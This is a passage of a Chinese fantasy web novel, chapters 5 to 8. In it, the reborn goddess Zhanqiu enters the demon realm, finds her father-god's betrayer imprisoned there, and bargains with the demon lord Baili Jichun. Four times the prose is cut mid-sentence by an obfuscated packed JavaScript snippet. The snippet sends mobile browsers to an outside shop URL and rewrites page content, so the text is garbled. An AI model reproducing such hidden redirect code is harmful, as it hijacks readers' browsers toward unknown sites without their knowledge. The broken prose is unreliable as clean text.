片刻后,斩秋拿手随意揩了揩嘴角,顺着他的话若无其事地问:“那他去请旨了么?” 裘安点点头,轻飘飘地回了声:“去了。” 他说完掀起眼,目不转睛地盯着斩秋,又道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13633927|143683||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“但父神没允。” 听到他的回答,斩秋的脑海中又闪过今晨在万虚殿中的画面。 难怪在她提出要让裘旭陪她一同前往时,天帝的反应如此奇怪,原来对裘旭的失望中还夹杂了这一原因。 不待她进一步感慨裘旭的冲动冒进,裘安再度开口:“你说,父神为何不允?” 他话时眼底淌着笑意,莫名使斩秋感到一阵恶寒。仿佛这并不是一个无意提起的玩笑,而是一场预谋的盘问。 刹那间,轿内再度恢复了先前的安静,只是如今这安静中隐约涌动着危险的气息。 一阵风吹入轿中,扬起了斩秋鬓边的碎发,只见她眼光流转,随即粲然笑道:“大约是父命难违罢,这毕竟是玄焰真神的意思。你不也一样,就算讨厌我,也不敢抗旨。” 裘安轻轻颔首:“你说的也不无道理。不过,有一点你说错了。” 他说:“我不讨厌你。” 谈话间,飞輦已行至诡境。此时分明是白日,四周却如黑云压城,一片阴暗。 斩秋等人下了轿輦,往前没走几步便已寻不着方向,来时的路更是如同被抹去一般,周身只余魍树密布。 显然,他们在结界之外。 正当斩秋欲出手破除结界时,不远处缓缓走来一道颀长的身影。 那人一袭月白色锦袍,在一片布满可怖纹理的墨色魍树下显得格外突兀,仿佛一朵皎洁的茉莉落在了泥潭之上。 斩秋一眼就认出了来者,此人正是魔族的尊主,百里及春。 只是百里及春为何会正巧出现在此?他一人孤身前来,就像是早已准备好了,在这等着他们一般。 看来幽境一事果然有问题,只是她不明白百里及春这么做的理由是什么。 思忖之际,对面那人先开了口。 “好久不见。” 他的声音沙哑,像干燥的毛笔划过宣纸那般。 对于这一世的百里及春来说,是很久了,他们上一次见面还是在一千年前。可于斩秋而言,并不算太久,就在她与裘安大婚那日,百里及春还亲自到天宫送上了一份大礼。 “嗯。”斩秋略压着眉,不冷不热地回应,没给对方客套寒暄的机会,直截了当地问:“百里及春,昨日你在做什么?” 后者似乎并不惊讶,目光若有若无地扫过站在她身旁的裘安,不答反问:“昨日你又做了什么?” 被他这么一问,斩秋不由微愣。 昨日天宫盛宴想必早已传遍了六界,他身为魔尊,不可能不知晓,却还在此明知故问。 斩秋眉中一折,把话说得再明白了些:“今日我来只想问一句,幽境失踪三千天兵这事,可与你有关?” 只见他漫不经心地勾起唇角,视线寸步不移地落在斩秋脸上,留意她的神色,既不承认,也没有否认。 良晌,红唇轻启,声音充满蛊惑之意。 “他们到底在不在我这,你跟我到魔界走一趟,亲自瞧一瞧不就都清楚了?” 5. 第5章 话音落下,斩秋眼里闪过一丝迟疑。 她本以为依百里及春的性子,定会阻拦他们踏入魔界。可他如今非但不拦,反而主动相邀,怕是另有所图。 虽不知他图的是什么,但她与百里及春并无仇恨,想必也不会图她性命。如此便无碍了,正好趁此机会甩掉裘安。 思忖片刻,斩秋转头对裘安道:“此事蹊跷,你们先回去与天帝禀报此事,我一人先行。” 话罢,裘安抬起眼,看向她的神情中写满了担忧:“父皇命我前来本就是为了护你,我怎么能丢下你一人独自离开。” 他说得情真意切,若非斩秋早已知晓他的真面目,此刻怕是要信了他的关切之心。 百里及春闻言,头一回完整地将目光移至裘安身上,仿佛才发现他的存在一般,唇角散开笑意:“二殿下也在啊。” 他的眼神自然,并不刻意,话里却流露着一丝轻慢。 顷刻间,气氛变得古怪起来。 裘安从前与百里及春的来往不多,算上今日也仅见过两面而已,可他却觉得百里及春似乎对他有诸多不满,而这种不满并不只是两族对立的那般敌视。 思及此,他不由蹙起眉,神色晦暗不明。 见裘安不语,只是探究地看着自己,百里及春笑得更深了。他亦回望着前者,好像在等他说些什么。可惜对方只是压着眉心,欲言又止。 二人就这般对视着,谁也没有说话。 一个神色肃穆,一个姿态轻浮。 这幅景象落入斩秋的眼里,不由勾起了上一世大婚的记忆,神情微怔。 那日婚宴设在玄隐山,诸神受邀前来,可谓宾朋满座,热闹非凡。一切都如计划中的那般顺利进行,直到百里及春的出现。 他穿着一袭红袍而来,神色张扬,好似自己才是要办喜事的神君一般,不管规矩礼节,直接大摇大摆地走到裘安面前,朝其递去一枚桃木方盒。 “本座听闻你们神界有这样一个传闻,新人若是得到上古神兽的祝福,便能永结同心,修万万年之好。今日得闲,便来此走一遭,为天帝和天后献上本座的诚心。” 他言笑晏晏,仿佛真的只是前来恭贺一般。 可是天族与魔族的关系自大婚前的那场大战起便愈发交恶,太子裘旭亦命殒于那一役中,故而众仙看见百里及春出现在此时,心下纷纷一颤,祈求这场盛宴千万莫要变成一场血战才好。 众仙都憋着一口气,目不转睛地盯着天帝手中的方盒,生怕里面躺着的是什么威慑三界的武器。 却见裘安垂眸将其打开,不过一瞬便用力合上,神色不明地看向百里及春。 底下的仙君都未来得及瞧清里面装着的究竟是何物,只有一旁的斩秋看见了,里头装着的是一枚麒麟丹。 而裘安的真身,正是麒麟。 相传从前确有不少仙君为博上古恩泽,前去万林之地,寻求神兽火凤、蛟龙赐予的凤羽及龙鳞。可神兽哪能那么轻易将其赠予他人,求礼之人须得通过万林沼泽的重重考验。后来因为不少仙君修为不够,险些丧命于此,便很少有人提及了。 凤羽和龙鳞虽是上古神兽真身的一部分,可就算失去几许并无伤大雅,不会危及于自身。但麒麟丹不同,此乃内丹,一旦被取出,真身必将化为灰烬,怎么可能是麒麟兽自愿赠予。 这算哪门子送礼、哪门子的恩泽?分明是赤裸裸的威胁、挑衅。 裘安眸色微沉,压抑着心中怒火,一脸淡漠:“魔尊有心了。” 听完这句话,百里及春勾起唇角,笑意却不达眼底。他意味深长地望了斩秋一眼,随后没再做什么,行至一旁看着婚礼继续。 众仙见状皆是一头雾水,心道魔尊特意前来竟真的只是为了献礼。 同样感到不解的,还有斩秋。 可惜她再也没机会知道他那日所举是为了什么。 “既然二殿下也有意到我魔界做客,那便一起吧。” 百里及春的声音拉回了斩秋的思绪。抬眸只见前者微微抬手,作出一副“请”的姿势。 斩秋知道裘安生性多疑,此刻若有意与她一同前往,她也劝不回去。遂甩甩衣袖,没再说什么,带着灵衫随百里及春朝结界踏去。 此处结界并不通往魔界外城,而是直接通往魔族皇宫。 与她料想的不同,这里既不似结界外的诡境一样阴暗,亦没有想象中泥潭般的湿冷。风月无边、世外桃源,用来形容此处再合适不过。 宫内栽满了醉云红砂,柔软的花瓣随风飘动,散发着沁人的香味。放眼望去,一座座华贵的宫殿埋藏在这一片艳丽的红中。 百里及春走在前面,带着他们绕过了一座座殿宇,来到了一片空旷之地,再往前走便是悬崖绝壁。 裘安倏然停下脚步:“你要带我们去哪?” “不是想找寻那三千天兵的下落吗?我族关押罪徒的地方就在这里。” 裘安半信半疑地环顾四周。此处分明什么也没有,不过一块空地而已,背后却环绕一座座宫宇,宫墙相连如若盾甲。此地形,倒是很适合设计埋伏。 藏于袖中的手掌悄然随着心中猜疑回旋聚力,却在下一瞬被一旁响起的声音压了下来。 “听闻遗光塔共有二十八层,关押的都是恶极之辈。它并不像别的塔楼一般建立于地面之上,而是埋藏于地下。故囚徒所犯之罪大小、身阶高低,并非自下而上,反是自上而下。如此奇楼,我也想亲眼见识一番。” 斩秋的目光虽看向百里及春,话却是对裘安所说。 后者闻言了然,收回了掌中之力。 百里及春自是将二人的小动作尽收眼底,却恍若未觉。他微笑颔首,拂袖朝前一挥,便见地面浮现出一道入口:“此乃我魔族要地,只能你们二人进去。” 斩秋听罢看了一眼灵衫与邬霖:“那就有劳魔尊先将他二人带到别处休息吧。” 裘安见状亦与邬霖交换了个眼色,微微颔首。 待灵衫与邬霖离去后,三人径直朝入口而去。 遗光塔入口朝下,黑暗幽长,深不见底。塔中光线微弱,仅凭壁上挂着的火烛提供光亮,周身寒冷潮湿,令人背脊发凉。 里面的道路回旋向下,弯弯绕绕似无尽头,不知不觉间似乎已经走过了好几层楼。 行至中途,斩秋忽然发觉身后早已没有裘安的身影,不由脚下一顿。 此 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13633928|143683||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 处构造错综复杂,道路蜿蜒起伏,想是不止一条通道。途中定有机关更改了道路,使得裘安与他们走向分岔的方向。 她不知道百里及春此举为何,却本能地感到危险。 后者听见脚步声止,亦转过身来,漫不经心地走向她。 他每往前走一步,她便后退一步。 左右两侧分明布满了牢房,斩秋此刻却听不清囚犯们的挣扎喘息,只能听见百里及春那轻如落羽的步履之声。 “百里及春,你这是何意?” 对方没有回答的意思,深邃幽黑的眸子在昏暗的塔中显得愈发阴冷。 脑海中不禁闪过最坏的结果,斩秋驻足默了片刻,抬眸道:“你想杀我?” 她的口吻冷静,冷静到像在问一个微不足道的小事,而非性命堪忧。 百里及春眸色一沉,似乎不满她的反应:“本座若想杀你,何须如此费劲。” 话语间傲慢尽显,惹得斩秋轻轻蹙眉。 虽然如今她的神力也随着她一起退回到了五十年前的水平,但百里及春想要杀她,恐怕也要费点力气。可他却将杀她说得似是一件易如反掌之事,当真猖狂。 不过斩秋此时并没功夫计较这些措辞,她只想知道百里及春引她单独来此是为了什么? 不待她发问,便听百里及春继续说道:“本座想与你做个交易。” “什么交易?”斩秋眼底闪过一抹诧色。 “你帮我从天宫拿一件东西。”他说得轻描淡写,仿佛从天宫取物是一件十分轻松之事。 “我凭什么帮你?” “三千天兵的确在魔界,却不在这遗光塔中。本座会将他们全都安然无恙地放回去,就当作是付给你的定金。” 此话一出,斩秋委实惊叹于他不要脸的造诣,心中暗骂,面上却扯出一抹微笑,佯装有礼地点头称赞:“先是抓了我族士兵,再将他们送回去当作定金,魔尊大人还真是大方。” “你不问问本座接下来的筹码是什么吗?” 有了前车之鉴,斩秋对他口中的筹码并未抱何希望,只是顺着他的话没好气道:“是什么?” 只见他双唇一张一合,道出一个令斩秋心下一颤的名字:“濯奇。” 濯奇神尊,她已经许久没有听到过这个名字了。 一千年前,本源之劫现世,需得上古真神之力应之。此担无疑压在了玄焰真神肩上,只是其修为之高,哪怕以尽数神力应之也伤不到本体。 却没想到在应劫前一日,玄焰真神被其最为信任之人施了上古禁术,其以自身神力为祭,封印了他的神力。导致本源之劫降世的那日,真神以身应劫,魂飞魄散。自其陨殁后,对他施术的濯奇神尊也随之不见踪影。 斩秋以前往飘渺境为真神守灵为由离开了九重天,用千年时间寻遍了三界都没找到他,原以为自己大概这辈子都无法替玄焰真神报仇了,却未想到会从百里及春的口中听到濯奇这个名字。 的确,她还没有搜过魔宫。 “你知道他的下落?”斩秋话时神态平和,言语里却隐约渗着亢奋。 百里及春俯首看着她,唇角牵起一道极浅的弧度:“他就在这里。” 6. 第6章 斩秋跟着百里及春来到了遗光塔的第二十二层,此处的囚室已不如往层那般繁多,仅有六间。 尽管光照昏暗,斩秋还是一眼便找到了濯奇。 如今的濯奇神尊早已没有当年的风采,头发苍白如雪,皮肤干枯宛如垂落的树枝,双目凹陷至深,内里已然空无一物。可他额间的那抹红印仍在。 斩秋走到囚室门前,透过铁杆朝里看去,将他眼下的处境看得更清楚些。 泥泞的衣袍罩在他枯瘦的身上显得格外宽大,一头雪白的长发没有束起,杂乱得披在肩上,整个人犹如烂泥一般瘫靠在墙上,没有一丝生气。 见到他这般惨状,斩秋原以为自己会觉得高兴,然而心底却只觉得荒谬、可怜,又可恨。 不由冷嗤一声,她道:“当年你不惜以失去自身神力为代价也要置父神于死地,我还以为你会给自己安排什么好的退路。” 濯奇听见动静,本如死潭般的心猛然一动。他辨出来者的声音,旋即拖着残破的身躯向前爬,布满褶皱的手抓住铁杆,抬起头兴奋地问:“斩秋?是你吗?” 四海八荒内,会唤玄焰真神为父神的女子,仅斩秋一人。 见他认出自己,斩秋眉间一动,没有吭声。 她不想在此与其叙旧浪费时间,毕竟二人之间的情谊早已被仇恨取代。默然片刻,她单刀直入地问道:“你当年为何要那么做?” 后者闻言哑然失笑,他笑中苦涩,仿佛忆起什么。随后摇起头来,不知是悔意还是其他,不答反问:“你是来寻我报仇的吗?” “仇自然要报,但是在报仇之前,我要知道真相。”她看着濯奇,重复着方才的问题,“你当年为何要那么做?” 这一次濯奇依旧没有回答,只是发了疯似的大声朝她喊道:“你既是来报仇的,那你便杀了我吧!杀了我!” 斩秋神色陡然一沉,她看得出来,濯奇求死的心是真的。毕竟他神力修为全无,被关在这暗无天日的牢房里受尽折磨,连自尽的权利都没有,只能求她成全。 可她凭何成全他? 思及此,双拳缓缓收紧,任由指甲嵌进掌心,本就不染一丝温度的眼神变得愈发冰冷,揉尽了戾气。 若是濯奇的眼睛还能看得见,等会被斩秋此刻充满恨意的目光盯得胆寒。 “杀了你?”她在唇齿间轻轻碾磨着这几个字,转了转眸仿佛思索一般。 片顷,她在濯奇面前蹲下身去,唇边蓦然绽开一抹笑,在其耳畔用温柔又亲和的声音,道着极尽残忍的话语,“曾经我的确想要杀了你,可如今看到你这副模样……” “我突然又不想了。” 说完她抬手印出一道诀咒施于濯奇,修复了他受损的命数,沉吟道:“你一日不说,便一日以这残破不堪之身活着,清醒地活着。若终日不说,便长长久久地困于这方寸之地罢。” 负手立于一侧的百里及春冷眼旁观,似笑非笑。 话音落下,惶恐与不安迅速爬上了濯奇那张本就沧桑的脸,扭曲的褶皱显得格外可怖。 他将手伸出铁杆,胡乱地抓着,乞求抓住唯一的希望:“斩秋!你杀了我!我求求你杀了我!” 可惜他声嘶力竭的呼喊并未博得前者半分怜悯,只见斩秋俨然将其视若无物,任凭他在身后肆意嘶吼,却是头也不回地踏了出去,将沉寂又无边的黑暗归还于他。 出了遗光塔,走在前面的百里及春忽然停下:“早就听闻九重天上的斩秋上神习得一身好咒法,乃玄焰真神亲授的上古秘术。如今一见,倒是传闻非虚。” 斩秋应声抬眼,没有理会他的话中揶揄,只是深深望进他那一双漆黑的眸子里:“你说的交易,我应下了。” 濯奇一心求死都不愿说出真相,当年之事定有蹊跷。可是她又不能将濯奇带回九重天审问,眼下只有让他继续留在魔界。如此一来,百里及春所说的交易,她不得不应。 如今的结果本就在百里及春的意料之中,是以他并不惊讶:“不问问本座要的是什么?” - 清罗殿内,裘安正身立于中央,望着殿上的画像出神。 与百里及春他们走散后,他很快便出了遗光塔。仿佛是被安排好的一样,出来的路比去时的路容易许多,没有弯弯绕绕,亦短了许多。一出塔便有人在外等候,将他带到了邬霖所在的清罗殿。 他知道是百里及春在从中作梗。 至于斩秋,眼下她应该与百里及春待在一起。 “你说……斩秋她能不能平安回来?”裘安看向一旁的邬霖,语气淡漠。他并非真的关心她的安危,只是对百里及春的目的感到好奇。 “属下不知。不过若斩秋上神此行遇险,便可得知百里及春设计这一切的目标是斩秋上神。若她平安无事地回来了,那……”邬霖说到一半,余光便瞥到一旁有动静,随即噤了声。 只见殿前缓缓出现两道身影,一前一后,不疾不徐地朝他们走来。 看着斩秋与她身后的灵衫,裘安的眉心微不可察地皱了一下,仅一瞬便替换成一抹忧色:“你与百里及春方才去哪了?” 斩秋闻言脸不红心不跳地到一旁赤椅坐下,理了理衣角:“二殿下何出此言,我们方才不是一起去的遗光塔么?倒是二殿下你,怎么半路上没了踪影?” 话音落下,裘安并未解释,只是静静地看着她。一贯温和的眸中漾起一道寒光,像是出鞘的锋刃,寒意逼人。 斩秋却不显丝毫慌张,视线亦未曾闪躲,心中思量着应对之策。却见他话锋一转:“你在遗光塔可发现了什么?” 她回过神来,摇了摇头,想起方才在遗光塔外百里及春所说的话:“不过幽境三千士兵失踪一事,的确是百里及春做的。他说可以放人,但是有一个条件。” “什么条件?” “魔族中有叛徒,他需要我们把那个人找出来。” “挟持三千天兵,就为了抓一个人?”裘安自是不信这套说辞,“何须如此兴师动众?” “因为那个人只有我们能找到。”斩秋看着他,神情严肃,“他是仙。” 凡仙族中人,百岁之际都会接受召尘礼,用术法于心间刻下印记。此印记原是用来在危难之际分辨敌我,庇护族人,只有受召时方会显现,平日与常人无异,虽肉眼不见,却不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13633929|143683||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 散不灭。 召尘术只有神族长老与历任帝王可以传授使用。裘安由祁华亲授,斩秋亦师从玄焰,二人皆通晓此术,想要找出那人易如反掌。 只是如此庇佑之术如今却要化为利刃指向自己族人,委实讽刺。 裘安听完不语,心中仍有疑虑。 近千年来九重天与魔族相安无事,未起争端便也无须从中传递消息抑或是其他的行动。如此就算魔族之中当真有他们的人,也断不会轻易暴露身份,那百里及春又怎会得知族中有异? 这么想着,他便这么问了出来:“既然百里及春并未抓到此人,何以得知叛徒定是仙族中人?” 话音落下,斩秋却没有回答,任由沉默将答案推到他的面前。 那人若真是九重天派来魔族的,能千年之久不动声色,想必绝非等闲之辈,行事定是小心谨慎,不可能在这种时候露出破绽。 既非自己暴露,那便是他人泄密。能掌握此等机密要事之地,九天之上唯有执月阁了。 莫非执月阁中也潜伏了魔族中人? 想到这里,裘安的神色蓦然一沉,一如斩秋在遗光塔外初闻百里及春说起那般。 - 遗光塔外,百里及春问她:“不问问本座要的是什么?” 她静默片刻,眼神坚定地问:“什么?” “回元。” “好。” 虽不知回元为何物,但她想,应该没有什么比玄焰真神身死的真相更为重要的了。 寂静中,百里及春冷不防说道:“不过那三千天兵暂且还要在魔界待上一段时日。” “你要出尔反尔?”斩秋眉头一拧,却见百里及春轻轻摇首,淡道,“本座说过的话,向来不会反悔,只不过是替你找了一个完美的说辞罢了。” 斩秋听出了他的言下之意。的确,她需要一个合适的理由回去复命,一个魔族为何掳走三千天兵,又如何得以将他们平安接回的理由。 于是她没有吭声,示意百里及春继续说下去。 “魔族出了叛徒,你替本座把此人找出来,以此为由换回那三千天兵。” 听到这里,斩秋不禁腹诽百里及春打得一手好算盘。他以濯奇为饵,诱使她找回元作为交换便已算扯平,可如今就连清理门户之事也要让她来做。偏生她不仅无法拒绝,还得感谢他的心思缜密。 是以她扯了扯嘴角,讥诮道:“魔尊还真是替我想得周到。” “放心,要找出此人对你而言轻而易举。”百里及春仔细端详着她此刻蔑视自己的神态,不怒反笑,“他是你们九重天的人。” 此话一出,斩秋的脸色瞬间暗了下去,眼里透着无尽寒意。 找到真相对她而言是很重要,但她不能用另一个无辜之人的性命为自己铺路。否则她与上一世的裘安又有何异? “找出那人后,你会杀了他吗?” 她问得很轻,仿佛已经料到答案一般。 “你希望本座不要杀他?”百里及春低头看她,他的眼角轻弯,神色温柔得像一缕暖阳照过,声音低沉愉悦。 “那这可是另一个交易了。” 7. 第7章 斩秋虽恼于百里及春的算计,却没有丝毫的犹豫,点了点头:“知道了。” “你这不问条件就答应的习惯可不好。” “这回条件是什么?” 百里及春覆下眼睫,作出一副思忖模样。少顷,淡淡道:“先欠着罢,待本座想好了再告诉你。” 斩秋“嗯”了一声,有些急切地问:“灵衫现在在哪?” 他没有回答,却是扭头看向不远处。斩秋顺着他的目光看去,只见一名魔族侍女带着灵衫朝他们走来。 见到灵衫后,斩秋的心也逐渐平静下来。 “你现在应该问的,是裘安在何处。”百里及春冷不防说道,随后吩咐一旁的侍女,“带她们去清罗殿。” 在去清罗殿的路上,斩秋便在想待她将事情告诉裘安之后,他会作何反应。虽然他处事虚伪又善玩弄人心,不过有一点倒是不假,他的确将天界的利益看得十分重要。 裘安听完她所说后,果然心存疑虑、刨根问底,问出了一个她不想回答的问题。 ——“既然百里及春并未抓到此人,何以得知他是仙?” 斩秋垂下眼睑,没有吭声。 在那日上神宴她查出清缘的请帖有异时便知道,天宫中必有不忠之人。 裘安从她的沉默里知道了答案,脸色陡然一沉:“此事非同小可,还需禀告父皇。” “你要回天宫?” 裘安颔首,抬眸朝她看去,眼神里透着一些犹豫:“只是这结界……” 他停顿了一会儿,继续说道。 “我需要你。” 短短四字划过斩秋的耳际,不由叫她心头一颤,前世的场景犹如走马灯一般一幕幕浮现在眼前。 “斩秋,我需要你。” “来我的身边吧。” …… 她下意识地攥紧双手,指甲钻进掌心的痛感瞬间让她回过神来,对上裘安的视线。 只见这一次他的眼神清澈认真,褪去了先前的伪装与试探,倒显得几分真诚。从前他便是靠着这样一双“真诚”的眼,哄骗得她做尽了后悔之事。如今重活一次,她自然不会像从前那般看不清他的温柔陷阱。 只可惜在这一事上,她无法拒绝,否则定会引起裘安的猜忌。毕竟在明面上,他们同属天界,故而她与裘安的立场当是一致的。 为了不引起他的怀疑,斩秋只得点头应下。 “好。” - 天色渐渐黑尽,斩秋四人绕过魔宫的守卫,到了他们来时的地方。 此地虽有几座无人的宫殿作为遮挡,却算不上隐秘。四周的醉云红砂开得正旺,香气馥郁,哪怕在黑夜里,也无法忽视它的存在。 斩秋按照记忆中的模样朝宫墙靠近,方才迈出两步,便已触碰结界,脚下闪起一阵蓝光,登时将她击退一丈远。 就当她以为如此动静定当惊动皇宫守卫时,四下却安静得没有一丝声响。 冷风轻轻划过她的面颊,一股不好的预感徒然从心底升起。她微微蹙眉,低声对灵衫说:“不对劲,这一路未免有些太顺利了。” 后者闻言没有吭声,却是将手缓缓移向腰间长剑,警惕地扫视周围。 见周围确无异常,斩秋方才抬手欲施启原术破解结界。孰料术法施至一半时,身后忽然响起一道慵懒的声音,打断了她的动作。 “几位这是要不辞而别?” 斩秋应声回首,入目的是百里及春那张冰冷的脸。 不知为何,见到百里及春后她反而有种松了口气的感觉。或许是私心里,她希望此事能够安安静静地解决,不要闹到两族起争端的地步,以免让濯奇被关在魔界一事暴露。 毕竟在弄清楚真相之前,天宫里的任何一个人她都信不过。濯奇这般什么都不肯说的态度,莫名让她有种直觉——当年之事一定还有别人牵涉其中。 裘安缓缓回身,这一次他对百里及春再没有先前的礼遇,眼底揉尽了戾气。 百里及春不以为意,负手于身后,轻描淡写道:“用一人换三千人,这个提议合算。如此简单的问题,二殿下不会想不明白吧?” “若当真不明白,想要回去问一问天帝也未尝不可。只怕就算你回到天宫问他,他的答案也是如此。” “不过……”他故意拖长了尾音,扬唇笑道,“到了那个时候,本座的条件可就没这么简单了。” 他犹笑着,可道出的话却字字透着威胁。 裘安听罢双眸一寒,原本垂在身侧的手也已握紧成拳,青筋暴起。 他就这般与百里及春相对而立,二人间虽未言语,却是目光如刀,周围的空气中弥漫着剑拔弩张的气氛。 斩秋见状担心惹出不必要的事端打乱自己的计划,不由上前劝阻:“为了两界安稳,切勿意气用事。” “两界安稳。”裘安重复着这四个字,一字一顿道,“又岂是只靠一方妥协。” “此话倒是没错。只是你若想走,何须劳烦他人。”百里及春话罢广袖一挥,霎那间空中仿佛被撕开了一道裂缝,缺口处泛着淡淡蓝光,逐渐朝着四周扩去,继而消散殆尽,“结界已开,二殿下请便。” 他说完平静地看着裘安,眼神仿佛在看一个闹脾气的稚子一般。 此番举动如同一泼冷水浇灭了裘安的冲动和怒火,他渐渐冷静下来。 眼下他若是走了,再回来时百里及春又提出更加过分的条件,父神定会责他办事不力。天宫中有奸细一事,虽重,却不急。待他先将三千天兵带回以后再禀,也未尝不可。 想到这里,裘安才松了口:“找到那人后,你打算如何处置他?” 百里及春闻声忽然将目光转向斩秋,有些意味深长地说:“这便不由二殿下管了吧?” 裘安缓缓垂眸,掩去眸中神色,良晌才道:“明日,我会照你说的做。只是我如何相信你不会出尔反尔?” “如今二殿下除了相信本座,还有别的选择吗?” - 此事过后,斩秋被百里及春安排到了另一间宫殿留宿。她仰头看着头顶的牌匾,只见上面写着“重 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13633930|143683||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 守殿”三个字。此牌匾瞧着与魔宫中所有的宫殿都不一样,似乎是新修的。 走进殿内,斩秋环顾四周,确定无异样后方才瘫坐在床上,卸下一天的伪装。不过短短一日,却让她觉得有几世那般漫长。 不过疲倦似乎也有益处,那便是她今夜难得地睡了一个好觉。一夜无梦。 翌日,斩秋是被邬霖叩门的声音给唤醒的。她醒时看了一眼身旁的灵衫,问她如今什么时辰。 后者回答:“午时。” 斩秋听闻一愣,眨了眨眼。 真稀奇,这么多日了,头一回睡了个安稳觉竟是身处魔界之时。 正当她想着,门外又传来了邬霖的声音:“斩秋上神。” 斩秋起身收拾了一下,随灵衫一起往殿门步去。 殿门打开,邬霖恭顺向她施礼,垂首禀道:“殿下请您过去。” “他眼下在何处?” “烛月殿。” 听到这个答案,斩秋略一挑眉。 她原以为按照裘安的性格,替百里及春找出仙族一事应该不会让她参与其中。眼下应是早已达成约定,在魔界结界处等她才是,为何会在烛月殿? 待到烛月殿方才知晓,她对裘安的判断并未失误,只是多了百里及春这个变数而已。 大殿内,百里及春与裘安二人对面而立,两人身侧还有一个被束着双手跪地之人。 听见动静,二人皆朝殿门望去,只见斩秋缓缓走来,看着跪在地上那人的背影淡淡发问:“这人是?” “二殿下找出来的…...”百里及春率先开口,话声里夹杂着一丝鄙薄的笑意,“叛徒。” “不过本座并不相信二殿下一人说辞,还请斩秋上神一同看看,二殿下是否蒙骗本座。” 言下之意,是让她也施展召尘术,看看裘安所言是否属实。 斩秋知晓百里及春谨慎,并未多说什么,径直走到那人面前,正逢他抬首,四目相对的瞬间,她的眉心微微蹙起。 此人瞧着好生面熟,似乎在哪儿见过。 斩秋在脑海中翻阅了一遍,始终没忆起此人是谁。索性不再多想,抬手施术。 双手合力扭转,指尖散着一道光热,忽而那光朝上漫去,逐渐化作一缕清风。下一刻,只见面前跪地之人的胸口,隔着衣襟隐约显现出一道印符。 “他的确是仙族中人。” 百里及春满意地点点头:“既然人已经找到,本座亦会守诺,将那三千天兵放回。二位也可以离开了。” 虽然一开始说好的便是如此,可眼下百里及春当真这般容易得放他们走了,裘安又觉得其中有些蹊跷,却一时不知是什么,看向百里及春的眼里难免掺了几许复杂之色。 半晌,他走到斩秋身边,欲与她一同离去:“走吧。” 斩秋“嗯”了一声,带着灵衫随他朝殿门步去。没走几步,悄然回首朝百里及春看去,目光坚韧平静。 她的眼神在说,不要杀他。 百里及春亦回望着她,目光深沉,没有作答。 8. 第8章 回九重天的飞輦上,斩秋依旧与裘安对面而坐,也与来时一般相视不语。 她并没指望自己昨日假意答应帮他破除结界一事便能取得他的信任,就像裘安在她这里亦毫无信任可言一般。此刻他心中定是思绪万千,有许多问题等着她罢。 如此想着,斩秋便也提起几分精神,方便应对他接下来的疑问。良晌,裘安终于开口,只不过他接下来说的话却出乎斩秋的意料。 “昨日之事,谢谢你。” 斩秋一愣,略带提防地看着他:“昨日我似乎并未帮到二殿下。” “昨夜若非你相劝,我怕是……百里及春说得没错,哪怕父皇知晓此事,也定会弃一人保三千人罢。” 他的话声柔和,眉眼含笑,分明是答谢之辞,却将斩秋说得起了一身寒栗,不禁想起昨日清罗殿中他审视自己时冰冷刺骨的眼神。那才是真正的他。 她不相信裘安会就这么放过此事,更不信他会对自己放下防备,存任何感谢之心。故而望着眼前裘安这副温柔似水的模样,她的眉毛愈皱愈紧。 上一世裘安将她送上殒神台的前一夜,也是用这样一张饱含温情的脸对她说,要相信他。 见她神色凝重,裘安不禁问道:“你怎么了?可是我说错了什么?” 他的声音拉回了斩秋飘远的思绪,她略一挑眉,意味深长道:“没有。只是突然想起了一些往事。” “哦?愿闻其详。” 看见他一脸趣味盎然的模样,斩秋不由说道:“想不到二殿下还有打探别人过往的爱好。” 她的声音平和,看似在揶揄玩笑,但仔细听来,便能听见其话语中隐隐透出几分冷漠与不屑。 裘安心思敏感,很快捕捉到了她言语下的疏离,眼底飘过一丝微不可察的寒意。不过刹那间,他便换上一副灿烂的笑容,眼中闪烁着柔和明亮的光芒,宛如春日的阳光,诉说着无尽的温情:“你不是别人。” 